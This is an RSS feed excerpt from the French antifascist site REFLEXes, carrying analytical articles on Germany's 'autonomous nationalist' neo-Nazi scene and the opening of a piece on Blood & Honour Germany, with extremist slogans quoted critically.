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	<title>REFLEXes &#187; Nationaldemokratische Partei Deutschlands (NPD)</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Allemagne : où sont passés les autonomes nationalistes ?</title>
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		<pubDate>Mon, 27 Apr 2015 07:42:11 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[International]]></category>
		<category><![CDATA[Les radicaux]]></category>
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		<description><![CDATA[Il y a quelques années, les autonomes nationalistes étaient en vogue au sein des groupes néonazis allemands refusant de s’affilier à un parti d’extrême droite. En France, on a même vu quelques groupes tenter de s’approprier cette étiquette, mais ils étaient assez rares et peu nombreux. Mais quelques années ont passé depuis 2005, et de moins [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="attachment_2713" style="width: 398px" class="wp-caption alignleft"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/na-3.jpg"><img class=" wp-image-2713" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/na-3-300x225.jpg" alt="Les autonomes nationalistes, version française, lors d'une manifestation à Paris le 12 mai 2011." width="388" height="291" /></a><p class="wp-caption-text">Les autonomes nationalistes, version française, lors d&rsquo;une manifestation à Paris le 12 mai 2011.</p></div>
<p><strong><span style="color: #000000;">Il y a quelques années, les autonomes nationalistes étaient en vogue au sein des groupes néonazis allemands refusant de s’affilier à un parti d’extrême droite. En France, on a même vu quelques groupes tenter de s’approprier cette étiquette, mais ils étaient assez rares et peu nombreux. Mais quelques années ont passé depuis 2005, et de moins en moins de <i>Kameradschaften</i> se revendiquent de ce label. La mode est-elle passée ? Revient-on aux fondamentaux chez les néonazis ? Le modèle a-t-il échoué ou bien a-t-il eu tant de succès qu’il en est devenu inutile ?</span></strong></p>
<p><span style="color: #333333;">Si l’on en croit de nombreuses brochures publiées en Allemagne contre l’extrême droite, les Autonomes Nationalistes (AN) sont toujours une nouveauté incontournable de la scène néonazie allemande. Ces militants non organisés dans des partis sont décrits ainsi : ils utilisent les méthodes d’apparition du <i>black block</i> en manifestation et adoptent une attitude anti-système, qui cherche à expérimenter sans se laisser scléroser par une théorie et qui est donc orientée vers la pratique militante. Le tout combiné à des symboles piqués à la fois à l’extrême gauche radicale et à la pop-culture.</span></p>
<h4>Le néonazisme dans la crise</h4>
<p>Dans son ensemble, la scène néonazie allemande traverse une crise. Le NPD se débat avec une procédure d’interdiction qui n’en finit pas, des échecs électoraux et des querelles internes. De même, les <i>Freie Kameradschaften</i> sont de moins en moins présentes dans les rues et développent une capacité d’action politique bien inférieure à celle qu’elles avaient ces dernières années. Les manifestations rassemblant plusieurs milliers de néonazis se sont faites de plus en plus rares, sans que cela s’explique seulement par les actions de blocage des antifascistes. Cette crise a frappé également les AN de plein fouet, en tant que composante de la scène des <i>Kameradschaften</i>.</p>
<p>Les groupes qui se font appeler « autonomes nationalistes » ne sont plus que quelques exceptions et ils limitent leur activité à l’animation de leurs sites Internet. L’esprit enthousiaste des débuts a fait long feu. Ce qui passionnait en 2005, comme le dépassement de formes d’action non adaptées à l’époque, et qui promettait l’accès à un public nouveau et plus jeune, n’est plus qu’une vieille lune.</p>
<h4>Du néonazisme non encarté…</h4>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/manif-pegida-dresde.jpg"><img class="alignleft size-medium wp-image-2712" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/manif-pegida-dresde-300x169.jpg" alt="manif-pegida-dresde" width="300" height="169" /></a>Aujourd’hui, les néonazis ont la possibilité d’avoir une activité de rue précisément là où on n’en attendrait pas de la part de néonazis se revendiquant « autonomes ». Lors des manifestations organisées par l’une ou l’autre branche locale ou régionale de <a href="http://lahorde.samizdat.net/2015/01/12/pegida-lallemagne-islamophobe-par-dizaines-de-milliers/">PEGIDA</a> ou à l’occasion de protestations racistes contre l’installation d’hébergements pour les réfugiés, les néonazis se glissent dans les rangs des manifestants, de façon plus ou moins affichée. Ce nouvel accès à des parties de la population qui, jusqu’alors, n’étaient pas forcément accessibles à la propagande néonazie est l’une des quelques joies qui restent aux néonazis ces derniers mois ; or cela s’inscrit précisément en faux contre le positionnement des AN selon qui le « peuple », qui a subi des lavages de cerveau irréversibles, ne saurait être porteur d’une politique d’opposition et pourrait tout juste en être le décor. D’autant plus que les AN affichent une fidélité ostentatoire au national-socialisme : leurs visages sont masqués, mais pas leur idéologie. Dans les mouvements racistes actuels, c’est l’inverse : les manifestations ont besoin d’un caractère bourgeois ou tout au moins d’une apparence civique. De ce fait, les néonazis qui y participent camouflent leur idéologie, mais pas leurs visages. Les épisodes violents qui ont lieu par exemple à Leipzig autour de LEGIDA (attaques de journalistes et d’opposants à la manifestation raciste par des hooligans et des néonazis organisés gravitant autour des <i>Freie Kräfte)</i> ne renversent pas la tendance ; il s’agit simplement de défouloirs pour les néonazis.</p>
<p>Pour la génération qui lança les AN, être « autonome », cela signifiait essentiellement ne pas appartenir à un parti et rester en quelque sorte indépendant. Ce qu’apportait « l’autonomie », au regard de ce qu’étaient avant les <i>Freie Nationalisten</i>, c’était le fait de pirater le discours de l’extrême gauche ; cela permettait de semer le trouble dans les esprits en brouillant en apparence les frontières idéologiques et en s’appropriant une dimension subversive. Mais les termes repris à l’autonomie l’étaient de façon très sélective : on posait en affichant sa « détermination » et son « opposition au système », mais on se gardait bien d’adopter les discussions plénières, de surmonter la hiérarchie ou de réfléchir sur les rôles attribués selon les sexes.</p>
<div id="attachment_2711" style="width: 310px" class="wp-caption alignright"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/KT.jpg"><img class="size-medium wp-image-2711" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/KT-300x125.jpg" alt="À gauche, la Tor déploie une banderole &quot;Pour des espaces politiques, sociaux et culturels libres à Berlin et partout ailleurs&quot;. À droite, un autocollant : &quot;Non au multiculturalisme. Shootons les cultures étrangères.&quot;" width="300" height="125" /></a><p class="wp-caption-text">À gauche, la Tor déploie une banderole &laquo;&nbsp;Pour des espaces politiques, sociaux et culturels libres à Berlin et partout ailleurs&nbsp;&raquo;. À droite, un autocollant : &laquo;&nbsp;Non au multiculturalisme. Shootons les cultures étrangères.&nbsp;&raquo;</p></div>
<p>« S’organiser sans organisation » à la sauce néonazie, cela n’a été inventé ni par les <i>Freie Kameradschaften</i>, ni par les autonomes nationalistes. Cette nouvelle édition devait servir avant tout à se prémunir contre la répression. Si on ne crée ni parti ni association, on ne risque pas de se faire interdire par l’État. Mais sur la durée, c’est précisément ce qui n’a pas fonctionné. Le concept d’autonomes nationalistes a ainsi été porté sur les fonts baptismaux par la <i>Kameradschaft</i> <i>Tor</i> de Berlin en 2004, et un an après, en mars 2005, la <i>Tor</i> était interdite, montrant par là-même que l’étiquette AN ne protégeait pas des interdictions. Depuis, de nombreux groupes ont été visés par une interdiction à travers toute l’Allemagne. Dernière en date, l’interdiction en décembre 2014 des autonomes nationalistes de Göppingen.</p>
<h4> … au néonazisme des partis</h4>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Der-dritte-Weg-Wunsiedel.jpg"><img class="alignleft size-medium wp-image-2704" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Der-dritte-Weg-Wunsiedel-300x225.jpg" alt="Der-dritte-Weg-Wunsiedel" width="300" height="225" /></a>Parallèlement à cela, on a pu remarquer depuis quelques années la formation de tout petits partis, émergeant des ruines de la Deutsche Volksunion (DVU) et se préparant à la possible interdiction du NPD. Ainsi, on a vu la naissance de <a href="http://lahorde.samizdat.net/2014/06/25/allemagne-lavenir-allemand-dans-limpasse/">Die Rechte</a> en 2012, principalement localisée dans la région de la Ruhr où elle a massivement recruté chez les autonomes nationalistes, pourtant <i>a priori</i> hostiles à prendre leur carte dans un parti. Ce sont les mêmes motivations qui ont présidé en 2013 à la naissance du parti « <a href="http://lahorde.samizdat.net/2014/06/25/allemagne-lavenir-allemand-dans-limpasse/">Der III. Weg </a>», en anticipation de l’interdiction (qui eut effectivement lieu peu de temps après) d’un réseau de petits groupes autonomes, appelé Freies Netz Süd, en Bavière.</p>
<h4>Une nouvelle dynamique et une volonté d’expérimenter</h4>
<p>Le seul vrai mérite des autonomes nationalistes est leur capacité à expérimenter, capacité qu’ils n’ont probablement pas programmée comme telle, mais qui s’est auto-alimentée. Telle est la fonction qu’ont indéniablement eu les AN dans la scène néonazie. Ils sont parvenus à dépoussiérer le néonazisme, en abandonnant la coupe façon Jeunesse hitlérienne et le look des gros bœufs naziskins. Avec les autonomes nationalistes, un pont a été jeté entre les besoins d’un mouvement politique et une scène culturelle jeune et connectée. Les jeunes (et jeunes adultes) d’extrême droite ont pu participer aux manifs et autres activités sans être (comme autrefois) accablés par tout un tas de règles concernant leur comportement et leur façon de s’habiller.</p>
<div id="attachment_2708" style="width: 310px" class="wp-caption alignleft"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Halbe-90er.jpg"><img class="size-medium wp-image-2708" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Halbe-90er-300x200.jpg" alt="Dans les années 1990…" width="300" height="200" /></a><p class="wp-caption-text">Dans les années 1990…</p></div>
<p>Alors qu’il était impensable de s’habiller autrement qu’en chemise brune lors des premières marches en mémoire de Rudolf Hess à Wunsiedel, l’image contre-culturelle de la scène a fini par être acceptée, même pour ce genre de défilés solennels. Cela n’a donc gêné personne que certains soient en survêtement à Dresde ou à Magdebourg. Savoir adapter son style vestimentaire, c’était façon de s’ouvrir à une culture jeune sans pour autant être obligé d’abandonner la référence au national-socialisme historique.</p>
<p>De même, ce sont les AN qui ont systématiquement introduit les différentes nouvelles formes de propagande dans la scène néonazie, comme les blogs, les vidéos sur YouTube et l’activisme sur Facebook. Du point de vue culturel, ils ont lancé de nouvelles dynamiques et ont permis d’ouvrir l’extrême droite radicale à d’autres cultures de jeunesse, ce qui a également eu des répercussions en termes politiques. Le « hardcore national-socialiste » et le rap néonazi ont pu s’établir et le style de vie <i>straight edge</i> ainsi que le graffiti comme art de propagande ont fait leur entrée en scène. Ce sont les AN qui se sont chargés de faire le lien entre la culture et la politique. On a vu ainsi à maintes reprises des mots d’ordre ou des thématiques de l’extrême gauche recyclés les AN, ce qui déclencha (à la grande joie des fachos) beaucoup de confusion. Ce faisant, les AN n’y sont pas allés de main morte. On peut ne pas toujours tomber d’accord sur la valeur émancipatrice de certaines analyses anti-impérialistes, mais on peut facilement reconnaître la patte de l’antisémitisme national-socialiste dans l’anti-impérialisme diffusé dans les « manifestations pour la paix » par les autonomes nationalistes de Dortmund. Et cela, ils l’ont ouvertement concédé, sans en faire aucunement mystère ni tenter de le camoufler.</p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Casquette-NA.jpg"><img class="aligncenter  wp-image-2703" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Casquette-NA.jpg" alt="Casquette NA" width="431" height="221" /></a>Mais là où la volonté d’expérimenter des AN a dépassé les bornes, c’est précisément là où elle s’est fait stopper net : chiper les symboles, d’accord, mais on a fini par leur dire d’arrêter de venir aux manifs avec leurs drapeaux antifas.</p>
<div id="attachment_2714" style="width: 310px" class="wp-caption alignright"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/npd_schmidke_imago.jpg"><img class="size-medium wp-image-2714" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/npd_schmidke_imago-300x150.jpg" alt="Sebastian Schmidtke" width="300" height="150" /></a><p class="wp-caption-text">Sebastian Schmidtke</p></div>
<p>Les autonomes nationalistes avaient-ils vécu ? Pas tout à fait. Peut-être que le label de « nationalisme autonome » va disparaître, mais le style AN continue d’être particulièrement attractif. Il s’est même étendu à toute la scène. Rien qu’à Berlin, l’autonome nationaliste Sebastian Schmidtke est devenu dès 2012 le leader régional du NPD. Les autonomes nationalistes permettent que coexistent des choses qui semblent inconciliables. Ainsi, Schmidtke en costard a pu (et peut toujours) jouer au politicien et à côté de cela se remettre à son ancien passe-temps, l’anti-antifa, avec les vieux réseaux du groupe autonome <i>Nationaler Widerstand Berlin</i>. D’un point de vue musical, le rap a pu s’installer durablement dans la scène néonazie.</p>
<div id="attachment_2706" style="width: 246px" class="wp-caption alignleft"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Enrico-Schottstädt_mit_Villian_und_Aestus_17.11.2014.jpg"><img class=" wp-image-2706" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Enrico-Schottstädt_mit_Villian_und_Aestus_17.11.2014-300x208.jpg" alt="À gauche, Patrick Killat, aka Villain 051." width="236" height="163" /></a><p class="wp-caption-text">À gauche, Patrick Killat, aka Villain 051.</p></div>
<p>Lors des manifestations anti-réfugiés à Berlin, la musique diffusée était presque toujours exclusivement du rap, et en tête de manif, on pouvait voir Patrick Killat, qui s’était produit en live pendant les manifs des HoGeSa sous le nom de « Villain 051 ». Or, ni ces manifestations ni ce vieux hooligan de « Villain 051 » ne sont autonomes : mais sans l’impulsion donnée par les AN les années précédentes, les manifestations racistes qui ont marqué l’actualité allemande cet hiver auraient très certainement eu un autre visage.</p>
<h4>Les autonomes nationalistes 2.0 ?</h4>
<div id="attachment_2709" style="width: 310px" class="wp-caption alignright"><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Harlkem_shake_NA.jpg"><img class="size-medium wp-image-2709" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Harlkem_shake_NA-300x170.jpg" alt="Harlem Shake des JN de Magdebourg." width="300" height="170" /></a><p class="wp-caption-text">Harlem Shake des JN de Magdebourg.</p></div>
<p>Ce que de nombreux journalistes ont mis en avant ces derniers temps sous le nom de « Nipster » (= Nazi-Hipster), n’est <i>a priori</i> qu’un avatar des autonomes nationalistes, du moins dans le style. Les Nipster sont depuis 2014 une sorte de fantôme qui est dans l’air depuis la parution d’un article dans le magazine américain de la pop, <i>Rolling Stone</i>. Cet article avait donné un écho important aussi bien aux activités du néonazi bavarois Patrick Schröder (de la chaîne Internet FSN-TV), qu’au harlem shake publié par les <i>Junge Nationaldemokraten</i> de Magdebourg ainsi qu’à l’émission de cuisine « nationaliste » <i>Balaclava Küche</i> (cagoule en anglais) diffusée sur YouTube.</p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Baclava-Küche.jpg"><img class=" size-medium wp-image-2702 alignleft" src="http://reflexes.samizdat.net/wp-content/uploads/2015/04/Baclava-Küche-260x300.jpg" alt="Baclava Küche" width="260" height="300" /></a>En France, <i>Libération</i> s’en est également fait l’écho en novembre 2014, sans faire le lien avec la mouvance des autonomes nationalistes, préférant le pittoresque de <i>Balaclava Küche</i>, dont les deux animateurs, cagoulés bien sûr, diffusent leur idéologie en offrant des plats vegans à leurs invités (des fachos plus ou moins connus) : il est question de produits régionaux, « bios si possible », qu’il vaut mieux acheter plutôt que les « saloperies de Nestlé, de Coca-Cola, de Kraft, d’Unilever et d’Israël ».</p>
<p>Tout cela correspond bien à ce qu’on sait du principe des AN, qui s’est juste paré d’un nouveau label. En gros, ce sont les autonomes nationalistes 2.0. Chez les premiers autonomes nationalistes, la différence affichée et la provocation jouaient un rôle, y compris dans leurs propres rangs. Or aujourd’hui, il y a une génération de néonazis qui se sont socialisés avec les AN et qui, lorsqu’ils arrivent dans la scène néonazie, ne font plus scandale lorsqu’ils se livrent à des expérimentations de ce genre. On peut même remarquer une étincelle d’auto-ironie ici ou là. Pour autant, cela ne signifie absolument pas un abandon des repères idéologiques du national-socialisme.</p>
<p>Le label AN est peut-être alors en train de disparaître parce qu’il est seulement victime de son succès. Dans la politique du symbole, les AN ont laissé des traces dont on ne peut pas se débarrasser. Ils ne brandissent plus l’emblème de l’antifa, mais on peut voir de nombreuses variations autour du logo rond aux deux drapeaux dans les apparitions publiques des néonazis. Cette façon de s’accaparer les nouveaux médias, de s’approprier les cultures de jeunesse ou encore de se montrer curieux ou prompts à essayer des choses nouvelles, c’est la marque de fabrique des AN. Et c’est entre temps devenu une habitude tout à fait intégrée par la scène néonazie.</p>
<p>Si, par le biais de développements politiques actuels devaient se profiler de nouvelles occasions pour un néonazisme prêt à l’affrontement et focalisé sur l’action de rue, les « vieux » autonomes nationalistes seraient certainement nombreux à refaire surface, tandis que de plus jeunes seraient ravis de les suivre en apportant leurs idées à eux. Le potentiel est là, n’en doutons pas.</p>
<p style="text-align: right;"><em><strong>D’après </strong></em><a href="https://www.antifainfoblatt.de"><strong>Antifaschistisches Infoblatt</strong></a><em><strong>, numéro 106, printemps 2015</strong></em></p>
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		<title>Les autonomes nationalistes en Allemagne/ Méfiez-vous des imitations !</title>
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		<pubDate>Thu, 12 Nov 2009 16:04:45 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<category><![CDATA[Arnaud Derville]]></category>
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		<category><![CDATA[Thor Steinar]]></category>

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		<description><![CDATA[Dans l’extrême droite allemande, cohabitent deux tendances contraires qu’il importe de différencier. D’une part, une tendance forte avec une volonté de coopération qui gravite autour du NPD (Nationale Partei Deutschland). Dans cette mouvance, différents acteurs et groupes néonazis sont intégrés, et diverses actions parlementaires et extra-parlamentaires ont fusionné. D’autre part, un nombre considérable de néonazis [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Dans l’extrême droite allemande, cohabitent deux tendances contraires qu’il importe de différencier. D’une part, une tendance forte avec une volonté de coopération qui gravite autour du NPD (Nationale Partei Deutschland). Dans cette mouvance, différents acteurs et groupes néonazis sont intégrés, et diverses actions parlementaires et extra-parlamentaires ont fusionné. D’autre part, un nombre considérable de néonazis qui se refusent à une politique considérée comme bourgeoise et persistent dans des formes d’organisation autonomes. Depuis quelques années, cette tendance connait une croissance importante du nombre de ses militants ; militants qui par ailleurs n’adoptent pas la panoplie du parfait facho.Ils portent des vêtements noirs, leurs banderoles et leurs slogans sont très offensifs et pleins d’anglicismes, et ils cherchent volontiers la confrontation avec la police et les antifascistes. Par le look qu’ils arborent, ils cherchent à s’approprier un style généralement associé à l’extrême gauche, et par conséquent, il est difficile de les différencier, au premier coup d’œil, des autonomes et des antifascistes. Ils se désignent souvent eux-mêmes comme autonomes nationalistes. Dans la première moitié des années 1990, un certain nombre d’organisations néonazies ont été interdites en Allemagne, leurs militants ont alors été contraints de s’organiser en petits groupes informels sans statut officiel (dits « organisation sans organisation ») et à se connecter en réseaux. Si la notion d’autonomes nationalistes, apparue à cette période, a été remplacée par celle de « nationalistes libres » ou de « forces libres » dans un premier temps, elle est réapparue au début des années 2000, avec un sens modifié. Ces différents groupes et activistes néonazis propagent une politique strictement antiparlamentaire, choisissent des formes de lutte radicales et refusent et combattent les tentatives de récupération d’une « NPDVolksfront-Politik » (« politique de front populaire du NPD »). Les spécificités des autonomes nationalistes ne sont pas idéologiques, mais axées principalement sur les formes d’action et d’apparition qu‘ils adoptent ainsi que sur leur tenue, toutes empruntées à l‘extrême gauche. La tenue de rigueur se compose de vêtements noirs, de casquettes, de baskets, de lunettes de soleil et ainsi accoutrés, les militants se masquent également volontiers. Sur leurs banderoles comme sur leurs tracts, on peut voir des symboles de gauche, récupérés et parfois détournés, et pendant les manifestations, ils forment très souvent un black bloc. Ainsi, visuellement, ils se différencient fondamentalement de l’image « Biedermeier »(petite-bourgeoise) du NPD aussi bien que de l’image traditionnelle de la scène skinhead. Le but qu’ils poursuivent est clair : c’est une tentative visant à attirer et à mobiliser la nouvelle jeune génération et à créer le néonazi moderne.</p>
<p><em>« Peu importe quelle musique les gens écoutent, ou comment ils portent leurs cheveux ou quelles fringues ils mettent. Il s’agit plutôt de s’infiltrer et d’utiliser des franges de la jeunesse et de la société pour arriver à nos fins. »</em></p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio4-79f19.gif"><img class="aligncenter wp-image-1375" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio4-79f19.gif" alt="totonatio4-79f19" width="600" height="305" /></a></p>
<p>Les modifications sémantiques ont le même but : s’adresser à un public qui n’était pas, jusqu’ici, réceptif à l’idéologie de l’extrême droite. La ressemblance avec l’extrême gauche et ses codes et en particulier avec les autonomes est loin d’être le fruit du hasard : elle est tout à fait voulue et recherchée. C’est une tendance qui attire la jeunesse et en même temps un mode de camouflage grâce auquel les néonazis échappent aux attaques et à la chasse qui leur est faite. Idéologiquement, les autonomes nationalistes restent très superficiels. Aucun document fondateur n’existe, qui pourrait représenter une base idéologique de cette mouvance. Même s’ils soulignent en permanence qu’ils s’inspirent du mouvement national-révolutionaire des années 1920, il est rare de trouver une vraie relation à cela dans leur argumentation.<br />
Les références à l’idéologie des gauchistes du NSDAP, aux frères Strasser, à Gottfried Feder et au jeune Goebbels restent tout aussi nébuleuses. Certes, les autonomes nationalistes reprennent la question sociale et s’autoproclament fers de lance d’un anticapitalisme populiste, mais il s’agit là d’une tendance globale qui se dessine dans l’extrême droite en Allemagne, et non d’une nouvelle tendance dont il serait les instigateurs.</p>
<p><em>« Le bloc national-révolutionaire et noir ne se différencie pas principalement par son apparence physique d’avec les autres participants de la manifestation, mais par les contenus et actions révolutionnaires (blocus, occupations et refus etc.) : nous ne croyons pas que le système capitaliste peut être réformé ou amélioré &#8211; le système prédominant est l’erreur et doit être remplacé par une nouvelle forme de société, libre, juste, nationale et sociale. »</em></p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio3-a098c.gif"><img class="alignleft size-full wp-image-1376" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio3-a098c.gif" alt="totonatio3-a098c" width="226" height="257" /></a></p>
<p>Pour conclure, on peut noter que l’apparition des autonomes nationalistes marque surtout l’émergence d’une nouvelle génération de néonazis, relookés. Idéologiquement, on ne constate pas de changement radical de paradigme. En Allemagne, il existerait environ 30 à 40 groupuscules d’autonomes nationalistes plus ou moins actifs. Le premier a été fondé, en 2002, à Berlin, par des militants de la mouvance de la Kameradschaft Tor. Aujourd’hui, on trouve l’épicentre des autonomes nationalistes à Dortmund et dans la région de la Ruhr. Depuis 2004, chaque année, au 5 septembre, des militants proches de la Nationaler Widerstand Dortmund organisent une journée nationale contre la guerre avec une manifestation à Dortmund. Cette année, 700 néonazis, pour la plupart des autonomes nationalistes, ont pris part à cette manifestation. Les antifascistes étaient dix fois plus nombreux…</p>
<p><em>« Organisez le black bloc national ! Bientôt il n’y aura plus ni droite ni gauche ! Alors, il ne restera que les autonomes nationalistes. »<br />
« Pour en finir avec la justice d’opinion, liberté pour tous les nationalistes ! »<br />
« Ensemble contre le capitalisme ! Pour un socialisme national ! »<br />
« Celui qui n’est pas son propre maître, restera toujours valet !<br />
Combattez la terreur de gauche ! »</em></p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio2-f90fe.gif"><img class="alignleft wp-image-1377 size-full" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio2-f90fe.gif" alt="totonatio2-f90fe" width="445" height="265" /></a><br />
<a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio1.gif"><img class="alignright wp-image-1378" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatio1.gif" alt="totonatio1" width="600" height="263" /></a></p>
<p><strong><a href="http://nopasaran.samizdat.net" target="_blank">No Pasaran</a> n°76 octobre/novembre 2009</strong></p>
<p><strong>La réalité du phénomène en France</strong></p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/symbole-france-toto-b90ce.jpg"><img class="alignright size-full wp-image-1379" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/symbole-france-toto-b90ce.jpg" alt="symbole-france-toto-b90ce" width="142" height="115" /></a></p>
<p>Longtemps le phénomène ne s’est répandu qu’en Allemagne. Il se développe à présent très largement dans certains pays d’Europe de l’Est et même en Russie, avec un réseau de boutiques sur internet pour acheter la tenue complète du parfait Nationaliste Autonome, développant de nouveaux codes vestimentaires et des marques propres à ce mouvement, un peu comme cela avait pu se faire avec <a href="http://reflexes.samizdat.net/thor-steinar-tas-le-look-facho/">Thor Steinar</a>. Participent à ce succès aussi bien la fascination pour le nationalisme allemand de la part de jeunes générations à la mémoire courte que l’efficacité des VRP « autonomes » dans des pays d’Europe centrale considérés comme une terre d’influence allemande. En comparaison, le concept des nationalistes autonomes reste très marginal en France.</p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatiofrance-edcad.jpg"><img class="aligncenter size-full wp-image-1380" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/totonatiofrance-edcad.jpg" alt="totonatiofrance-edcad" width="272" height="238" /></a></p>
<p>À titre d’exemple, il ne reste plus qu’un seul site internet accessible aujourd’hui &#8211; novembre 2009 &#8211; revendiquant cette appellation, au demeurant peu alimenté et au contenu politique très léger. D’une façon générale, on peut donc dire que le courant « nationaliste autonome » en France ne prend pas. Cela n’a pourtant pas été faute d’essayer de la part de certains. C’était en effet clairement l’axe de développement choisi par Pro Patria en 2006-2007. Le groupuscule parisien, composé très largement de « vieux » militants fit en effet quelques apparitions avec un look calqué sur les NA d’outre-Rhin et développa un style graphique qui en était directement inspiré, en particulier par le choix du drapeau noir.</p>
<div id="attachment_1381" style="width: 520px" class="wp-caption aligncenter"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/11/0002-b5bf0.jpg"><img class="wp-image-1381 size-full" src="http://reflexes.samizdat.net/wp-content/uploads/2009/11/0002-b5bf0.jpg" alt="Pro Patria avec Arnaud Derville en tête" width="510" height="341" /></a><p class="wp-caption-text">Pro Patria avec Arnaud Derville en tête</p></div>
<p>Le tout était relayé par le blog Zentropa qui jouait ainsi le rôle de principal relais médiatique francophone de la scène nationaliste autonome européenne. Mais Pro Patria a fait long feu et il n’existe aucune perspective de développement pour ce courant en France. Depuis deux ans, seules deux actions ont été revendiquées par des militants se revendiquant « nationalistes autonomes », à savoir un rassemblement « anticapitaliste » en 2008 contre les traders à la Défense et une manifestation menée au pas de course dans les rues de Paris contre l’entrée de la Turquie en Europe. A chaque fois, il n’y avait pas plus d’une quinzaine d’individus présents. Par ailleurs, des militants nationalistes lorrains ont bien utilisé ce terme lors d’une apparition publique en 2009 mais sans pour autant donner le sentiment de revendiquer une filiation avec le modèle allemand. L’échec de la greffe peut recevoir une multitude d’explication. À l’évidence, la grande majorité des jeunes nationalistes français ne semblent pas prêts pour l’instant à abandonner le folklore et les références culturelles traditionnelles du milieu faf français. Bien que l’on puisse noter une certaine évolution dans la représentation et les symboles depuis une dizaine d’années, la rupture qu’implique ce courant politique est sans doute trop radicale pour être adoptée par le plus grand nombre. Par ailleurs, malgré les apparences, l’influence allemande est relativement marginale au regard d’autres influences étrangères au premier plan desquelles il faut citer l’influence italienne avec la scène « non conforme » autour de Zetazeroalfa et des centres occupés, en particulier à Rome. On retrouve cette influence aussi bien chez les Identitaires que dans d’autres milieux, en particulier ceux qui gravitaient autour de Pro Patria, et elle sous-tend très largement ce que diffuse la petite équipe italo-parisiano-quebecquoise qui anime Zentropa. Pas de quoi donc sonner le tocsin, surtout si l’on compare ce phénomène avec d’autres comme la montée en puissance de l’influence des stades de foot sur les milieux néo-fascistes européens.</p>
<p><strong>REFLEXes</strong></p>
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		<title>Blood &amp; Honour Deutsche Division &#171;&#160;Bonne nuit les nazis ! &#171;&#160;</title>
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		<pubDate>Tue, 25 Feb 2003 18:32:11 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<category><![CDATA[Les radicaux]]></category>
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		<description><![CDATA[La section allemande de Blood and Honour compte environ 250 membres Elle est en contact avec des organisations similaires en Suède, en Norvège, en Grande-Bretagne et au Danemark. Selon l&#8217;Office de Protection de la Constitution allemande, équivalent des Renseignements généraux français, 105 concerts néo-nazis ont été organisés en Allemagne en 1999, dont un tiers par [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>La section allemande de Blood and Honour compte environ 250 membres Elle est en contact avec des organisations similaires en Suède, en Norvège, en Grande-Bretagne et au Danemark.<br />
Selon l&rsquo;Office de Protection de la Constitution allemande, équivalent des Renseignements généraux français, 105 concerts néo-nazis ont été organisés en Allemagne en 1999, dont un tiers par Blood and Honour. 33 de ces concerts ont eu lieu exclusivement en Saxe.<br />
En 1999, il y avait environ 100 groupes de rock néo-nazi en Allemagne. Depuis 1991, ils ont produit 500 CD différents (dont 200 sont interdits), ce qui représente une production globale de 1,5 million de CD.<br />
Il existe par ailleurs une cinquantaine de maisons de productions et autres labels responsables de la fabrication et de la distribution des CD, ainsi que 20 magasins proches de la scène néo-nazie sur l&rsquo;ensemble du territoire allemand.</p>
<p>Après avoir débattu tout l&rsquo;été de l&rsquo;extrême droite, le gouvernement allemand, en la personne du ministre de l&rsquo;Intérieur Otto Schily (SPD), a décidé de frapper un grand coup contre la scène néo-nazie. En effet, au vu de la recrudescence d&rsquo;attentats et d&rsquo;agressions à caractère raciste et antisémite, il y a eu de nombreux débats au sein du gouvernement et de la société allemande au sujet de l&rsquo;extrême droite. C&rsquo;est ainsi que les analyses et les propositions les plus variées sont apparues dans la presse allemande : fallait-il interdire le NPD<sup><a href="https://reflexes.samizdat.net/blood-honour-deutsche-division-bonne-nuit-les-nazis/#footnote_0_139" id="identifier_0_139" class="footnote-link footnote-identifier-link" title="Nationaldemokratische Partei Deutschlands, parti d&rsquo;extr&ecirc;me droite allemand qui organise la plupart des d&eacute;fil&eacute;s n&eacute;o-nazis et rassemble les &eacute;l&eacute;ments les plus durs de l&rsquo;extr&ecirc;me droite allemande.
